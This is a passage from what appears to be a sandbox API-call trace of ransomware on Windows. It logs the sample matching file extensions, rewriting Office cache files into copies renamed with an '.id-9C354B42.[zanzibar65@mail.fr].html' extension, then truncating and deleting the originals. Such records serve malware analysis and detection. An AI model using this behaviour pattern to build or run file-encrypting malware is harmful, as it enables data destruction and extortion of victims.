(lpString1=".doc", lpString2=".xml") returned -1 [0034.358] lstrlenW (lpString=".docx") returned 5 [0034.358] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.358] lstrlenW (lpString=".pdf") returned 4 [0034.358] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.358] lstrlenW (lpString=".xls") returned 4 [0034.358] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.358] lstrlenW (lpString=".xlsx") returned 5 [0034.358] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.358] lstrlenW (lpString=".ppt") returned 4 [0034.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.359] lstrlenW (lpString=".zip") returned 4 [0034.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.359] lstrlenW (lpString=".rar") returned 4 [0034.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.359] lstrlenW (lpString=".bz2") returned 4 [0034.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.359] lstrlenW (lpString=".7z") returned 3 [0034.359] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.359] lstrlenW (lpString=".dbf") returned 4 [0034.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.359] lstrlenW (lpString=".1cd") returned 4 [0034.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.359] lstrlenW (lpString=".jpg") returned 4 [0034.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.359] lstrlenW (lpString=".doc") returned 4 [0034.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.359] lstrlenW (lpString=".docx") returned 5 [0034.359] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.359] lstrlenW (lpString=".pdf") returned 4 [0034.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.359] lstrlenW (lpString=".xls") returned 4 [0034.359] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.359] lstrlenW (lpString=".xlsx") returned 5 [0034.359] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.359] lstrlenW (lpString=".ppt") returned 4 [0034.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.360] lstrlenW (lpString=".zip") returned 4 [0034.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.360] lstrlenW (lpString=".rar") returned 4 [0034.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.360] lstrlenW (lpString=".bz2") returned 4 [0034.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.360] lstrlenW (lpString=".7z") returned 3 [0034.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.360] lstrlenW (lpString=".dbf") returned 4 [0034.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.360] lstrlenW (lpString=".1cd") returned 4 [0034.360] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0034.360] lstrlenW (lpString=".jpg") returned 4 [0034.360] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.360] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.360] lstrlenW (lpString="Setup.xml") returned 9 [0034.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.360] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2362) returned 1 [0034.361] CloseHandle (hObject=0x174) returned 1 [0034.361] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.361] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.361] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.361] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.361] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.361] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.362] GetLastError () returned 0x0 [0034.362] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x93a, lpOverlapped=0x0) returned 1 [0034.363] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x940, lpOverlapped=0x0) returned 1 [0034.364] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0034.364] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.365] SetEndOfFile (hFile=0x178) returned 1 [0034.365] CloseHandle (hObject=0x178) returned 1 [0034.365] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.365] SetEndOfFile (hFile=0x174) returned 1 [0034.366] CloseHandle (hObject=0x174) returned 1 [0034.366] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.366] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.367] lstrlenW (lpString=".doc") returned 4 [0034.367] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.367] lstrlenW (lpString=".docx") returned 5 [0034.367] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.367] lstrlenW (lpString=".pdf") returned 4 [0034.367] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.367] lstrlenW (lpString=".xls") returned 4 [0034.367] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.367] lstrlenW (lpString=".xlsx") returned 5 [0034.367] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.367] lstrlenW (lpString=".ppt") returned 4 [0034.367] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.367] lstrlenW (lpString=".zip") returned 4 [0034.367] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.367] lstrlenW (lpString=".rar") returned 4 [0034.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.367] lstrlenW (lpString=".bz2") returned 4 [0034.367] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.367] lstrlenW (lpString=".7z") returned 3 [0034.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.367] lstrlenW (lpString=".dbf") returned 4 [0034.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.367] lstrlenW (lpString=".1cd") returned 4 [0034.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.368] lstrlenW (lpString=".jpg") returned 4 [0034.368] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.368] lstrlenW (lpString=".doc") returned 4 [0034.368] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.368] lstrlenW (lpString=".docx") returned 5 [0034.368] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.368] lstrlenW (lpString=".pdf") returned 4 [0034.368] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.368] lstrlenW (lpString=".xls") returned 4 [0034.368] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.368] lstrlenW (lpString=".xlsx") returned 5 [0034.368] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.368] lstrlenW (lpString=".ppt") returned 4 [0034.368] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.368] lstrlenW (lpString=".zip") returned 4 [0034.368] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.368] lstrlenW (lpString=".rar") returned 4 [0034.368] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.368] lstrlenW (lpString=".bz2") returned 4 [0034.368] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.368] lstrlenW (lpString=".7z") returned 3 [0034.368] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.368] lstrlenW (lpString=".dbf") returned 4 [0034.368] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.368] lstrlenW (lpString=".1cd") returned 4 [0034.368] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.369] lstrlenW (lpString=".jpg") returned 4 [0034.369] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.369] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.369] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0034.369] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.370] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1231) returned 1 [0034.370] CloseHandle (hObject=0x174) returned 1 [0034.370] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0034.370] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.370] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.370] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.370] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.370] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.370] GetLastError () returned 0x0 [0034.371] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x4cf, lpOverlapped=0x0) returned 1 [0034.372] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0034.373] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0034.373] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0034.373] SetEndOfFile (hFile=0x178) returned 1 [0034.373] CloseHandle (hObject=0x178) returned 1 [0034.374] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.374] SetEndOfFile (hFile=0x174) returned 1 [0034.375] CloseHandle (hObject=0x174) returned 1 [0034.375] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.375] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0034.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.375] lstrlenW (lpString=".doc") returned 4 [0034.375] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.375] lstrlenW (lpString=".docx") returned 5 [0034.375] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.375] lstrlenW (lpString=".pdf") returned 4 [0034.375] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.375] lstrlenW (lpString=".xls") returned 4 [0034.375] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.375] lstrlenW (lpString=".xlsx") returned 5 [0034.375] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.375] lstrlenW (lpString=".ppt") returned 4 [0034.375] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.376] lstrlenW (lpString=".zip") returned 4 [0034.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.376] lstrlenW (lpString=".rar") returned 4 [0034.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString=".bz2") returned 4 [0034.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString=".7z") returned 3 [0034.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.376] lstrlenW (lpString=".dbf") returned 4 [0034.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.376] lstrlenW (lpString=".1cd") returned 4 [0034.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.376] lstrlenW (lpString=".jpg") returned 4 [0034.376] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.376] lstrlenW (lpString=".doc") returned 4 [0034.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString=".docx") returned 5 [0034.376] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.376] lstrlenW (lpString=".pdf") returned 4 [0034.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString=".xls") returned 4 [0034.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString=".xlsx") returned 5 [0034.376] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.376] lstrlenW (lpString=".ppt") returned 4 [0034.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.377] lstrlenW (lpString=".zip") returned 4 [0034.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.377] lstrlenW (lpString=".rar") returned 4 [0034.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.377] lstrlenW (lpString=".bz2") returned 4 [0034.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.377] lstrlenW (lpString=".7z") returned 3 [0034.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.377] lstrlenW (lpString=".dbf") returned 4 [0034.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.377] lstrlenW (lpString=".1cd") returned 4 [0034.377] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.377] lstrlenW (lpString=".jpg") returned 4 [0034.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.377] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.378] lstrlenW (lpString="Setup.xml") returned 9 [0034.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.378] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1852) returned 1 [0034.378] CloseHandle (hObject=0x174) returned 1 [0034.378] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.378] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.378] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.378] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.379] GetLastError () returned 0x0 [0034.379] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x73c, lpOverlapped=0x0) returned 1 [0034.380] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x740, lpOverlapped=0x0) returned 1 [0034.381] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0034.381] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.381] SetEndOfFile (hFile=0x178) returned 1 [0034.381] CloseHandle (hObject=0x178) returned 1 [0034.384] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.384] SetEndOfFile (hFile=0x174) returned 1 [0034.385] CloseHandle (hObject=0x174) returned 1 [0034.385] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.385] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.385] lstrlenW (lpString="C:\\MSOCache\\All 